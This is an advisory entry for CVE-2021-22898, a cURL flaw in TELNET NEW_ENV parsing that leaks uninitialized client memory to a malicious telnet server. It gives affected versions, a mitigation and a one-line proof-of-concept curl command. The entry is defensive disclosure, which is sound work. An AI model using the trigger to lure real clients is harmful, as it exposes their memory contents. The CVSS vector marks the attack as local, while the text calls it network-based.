#VU53587 Use of uninitialized variable in cURL - CVE-2021-22898

Vulnerability identifier: #VU53587

Vulnerability risk: Medium

CVSSv4.0: 1 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/U:Green]

CVE-ID: CVE-2021-22898

CWE-ID: CWE-457

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
cURL
Client/Desktop applications / Other client software

Vendor: curl.haxx.se

Description

The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to usage of uninitialized variable in code, responsible for processing TELNET requests when parsing NEW_ENV variables. A remote attacker can force the affected application to connect to a telnet server under attackers control and read up to 1800 bytes from the uninitialized memory on the libcurl client system.

Proof of concept:

curl telnet://example.com -tNEW_ENV=a,bbbbbb (256 'b's)

Mitigation
Install updates from vendor's website.

Vulnerable software versions

cURL: 7.7 - 7.76.1

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External links
http://curl.haxx.se/docs/CVE-2021-22898.html

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability.